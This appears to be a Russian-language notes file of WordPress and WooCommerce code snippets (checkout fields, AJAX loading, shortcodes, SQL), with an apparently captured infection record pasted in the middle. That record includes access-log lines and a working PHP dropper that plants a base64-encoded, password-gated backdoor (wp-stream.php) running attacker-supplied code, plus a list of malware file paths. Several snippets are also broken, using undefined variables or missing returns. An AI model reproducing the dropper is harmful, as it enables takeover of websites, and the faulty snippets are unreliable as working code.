add_shortcode('custom_gallery', 'custom_gallery_func');
function custom_gallery_func( $atts ) {
extract( shortcode_atts( array(
'count' => '' // параметры, если нужны
), $atts ) );
// ваш код галереи, подключение внешнего файла
// можно использовать буфер ob_start(); а затем возвращать $content = ob_get_clean();
}
<?php echo do_shortcode( '[custom_gallery]' );
add_action( 'woocommerce_after_order_notes', 'my_custom_checkout_field' );
function my_custom_checkout_field( $checkout ) {
echo '<div class="form-row notes"><br><label>Дата и время получения заказа</label>';
woocommerce_form_field( 'client_date', array(
'type' => 'text',
'class' => array('form-row-first'),
'label' => __(''),
'placeholder' => _x('Дата', 'placeholder', 'woocommerce'),
), $checkout->get_value( 'client_date' ));
woocommerce_form_field( 'client_time', array(
'type' => 'text',
'class' => array('form-row-last'),
'label' => __(''),
'placeholder' => _x('Время', 'placeholder', 'woocommerce'),
), $checkout->get_value( 'client_time' ));
echo '</div>';
echo '<div class="form-row notes br-notes-1"><label>Время заказа определяется после звонка оператора.</label></div>';
}
/**
* Обновляем добавленные поля в БД
*/
add_action( 'woocommerce_checkout_update_order_meta', 'my_custom_checkout_field_update_order_meta' );
function my_custom_checkout_field_update_order_meta( $order_id ) {
if ( ! empty( $_POST['client_date'] ) ) {
update_post_meta( $order_id, 'client_date', sanitize_text_field( $_POST['client_date'] ) );
}
}
add_action( 'woocommerce_admin_order_data_after_billing_address', 'my_custom_checkout_field_display_admin_order_meta', 10, 1 );
function my_custom_checkout_field_display_admin_order_meta($order){
echo '<p><strong>'.__('Дата и время').':</strong> ' . get_post_meta( $order->get_id(), 'client_date', true ) . ' ' .get_post_meta( $order->get_id(), 'client_time', true ) . '</p>';
}
/* Отправка добавленных полей на email
*/
add_filter('woocommerce_email_order_meta_fields', 'br_add_email_order_meta_fields', 10, 3);
function br_add_email_order_meta_fields( $fields, $sent_to_admin, $order_obj ) {
$fields['client_date'] = array(
'label' => 'Дата и время',
'value' => get_post_meta( $order_num, 'client_date', true ) . ' ' . get_post_meta( $order_num, 'client_time', true )
);
}
add_action( 'wp_footer', 'awoohc_add_script_update_shipping_method' );
function awoohc_add_script_update_shipping_method() {
if ( is_checkout() ) { ?>
<script>
jQuery(document).ready(function ($) {
if( $("#client_date").length > 0 ) {
let optsDate = {
"locale": "ru",
"dateFormat": "d.m.Y",
};
$("#client_date").flatpickr(optsDate);
}
if( $("#client_time").length > 0 ) {
let optsTime = {
locale: "ru",
enableTime: true,
noCalendar: true,
dateFormat: "H:i",
time_24hr: true
};
$("#client_time").flatpickr(optsTime);
}
});
</script>
<?php }
}
51.38.106.48 - - [02/Nov/2020:19:55:53 +0000] "POST /wp-content/uploads/elementor/custom-icons/-1/css/ HTTP/1.0" 200 181 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
51.38.106.48 - - [02/Nov/2020:19:55:55 +0000] "POST /wp-stream.php HTTP/1.0" 200 197 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
51.38.106.48 - - [02/Nov/2020:19:55:58 +0000] "POST /wp-content/uploads/wp-stream.php HTTP/1.0" 200 197 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
echo "ssqqss>>>";
error_reporting(0);
ini_set('display_errors',0);
make_wpupload_file($_SERVER['DOCUMENT_ROOT'].'/wp-content/uploads');
function make_wpupload_file($dir) {
$b = base64_decode('PD9waHAgIGlmKGlzc2V0KCRfUE9TVFsnbHQnXSkgJiYgbWQ1KCRfUE9TVFsnbHQnXSkgPT0gYmFzZTY0X2RlY29kZSgiTURJek1qVTRZbUpsWWpkalpUazFOV0UyT1RCa1kyRXdOVFppWlRnNE5XUT0iKSApIHskbHQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYSddKTtmaWxlX3B1dF9jb250ZW50cygnbHRlXycsJzw/cGhwICcuJGx0KTskbHQ9J2x0ZV8nO2lmKGZpbGVfZXhpc3RzKCRsdCkpe2luY2x1ZGUoJGx0KTt1bmxpbmsoJGx0KTt9fSA/Pg==');
if(!file_exists($dir.'/wp-stream.php')){
@file_put_contents($dir.'/wp-stream.php',$b);
@file_put_contents($_SERVER['DOCUMENT_ROOT'].'/wp-stream.php',$b);
}
}
unlink(__FILE__);
/wp-content/plugins/widget-settings-importexport/widget-data.js
/wp-content/plugins/letme/weblinks.php
/wp-content/plugins/background-image-cropper/ups.php.suspected
/wp-content/uploads/2020/10/content-post.php
/wp-content/wp-muen.php
/wp-content/uploads/2020/04/blackhat.php
/wp-content/plugins/wp-members/assets/js/wpmem-nav-menu.min.js
/wp-content/plugins/superstorefinder-wp/css/ssf-wp-admin.css
/my-accountsuc_reg
/my-accountcanreg
/wp-content/themes/CP20/content-post.php.suspected
/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
/wp-content/uploads/wp-stream.php
/wp-admin/theme-install.php
/xmlrpc.php
/installer.php
/wp-content/themes/distance-lite/languages/namespaces.php
// отправляем данные из cf7 куда-то
add_action( 'wpcf7_mail_sent', 'br_wpcf7_mail_sent', 10, 1 );
function br_wpcf7_mail_sent( $contact_form ) {
$submission = WPCF7_Submission::get_instance();
$posted_data = $submission->get_posted_data();
// Данные из формы можно получить так:
$posted_data['your-phone']
$posted_data['your-name']
// и передать их в ваш скрипт
}
jQuery(document).on('click', '#get-new-custom-posts', function () {
jQuery.ajax({
url: myajax.url,
type: 'POST',
data: {
action: 'get_full_posts'
},
success: function (data) {
jQuery('.br-posts-content').html(data);
}
});
});
function get_full_posts() {
$args = array(
'post_type' => 'br_company'
);
$full_posts = new WP_Query( $args );
while ( $full_posts ->have_posts() ) {
$full_posts ->the_post();
// выводим посты
}
wp_reset_postdata();
die;
}
add_action( 'wp_ajax_get_full_posts', 'get_full_posts' ); // wp_ajax_{ЗНАЧЕНИЕ ПАРАМЕТРА ACTION!!}
add_action( 'wp_ajax_nopriv_get_full_posts', 'get_full_posts' ); // wp_ajax_nopriv_{ЗНАЧЕНИЕ ACTION!!}
И переменную для ajax нужно задать
// Добавляем переменную для ajax
add_action( 'wp_enqueue_scripts', 'myajax_data', 99 );
function myajax_data(){
// Первый параметр 'jquery' означает, что код будет прикреплен к скрипту с ID 'jquery'
// 'jquery' должен быть добавлен в очередь на вывод, иначе WP не поймет куда вставлять код локализации
wp_localize_script( 'jquery', 'myajax',
array(
'url' => admin_url('admin-ajax.php')
)
);
}
<?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>
<?php
get_the_ID();
the_title();
the_excerpt();
echo get_the_date();
?>
<a class="br-button-el-link" href="<?php the_permalink(); ?>">Подробнее</a>
<?php endwhile; else: ?>
<p>Sorry, no posts matched your criteria.</p>
<?php endif; ?>
SELECT *
FROM (((`wp_posts` p
INNER JOIN `wp_term_relationships` tr ON p.ID = tr.object_id)
INNER JOIN `wp_term_taxonomy` tt ON tr.term_taxonomy_id = tt.term_taxonomy_id)
INNER JOIN `wp_terms` t ON FIND_IN_SET(t.term_id, br_get_parent_cat(tt.term_id)))
WHERE post_type = 'product' AND taxonomy = 'product_cat' AND t.name LIKE '%Категория3%'
php_value max_input_vars 500
if ( ! defined( 'WC_MAX_LINKED_VARIATIONS' ) ) {
define( 'WC_MAX_LINKED_VARIATIONS', 500);
}
add_filter ('woocommerce_ajax_variation_threshold','woocommerce_ajax_variation_threshold_more',10,2);
function woocommerce_ajax_variation_threshold_more($count,$product) {
return 500;
}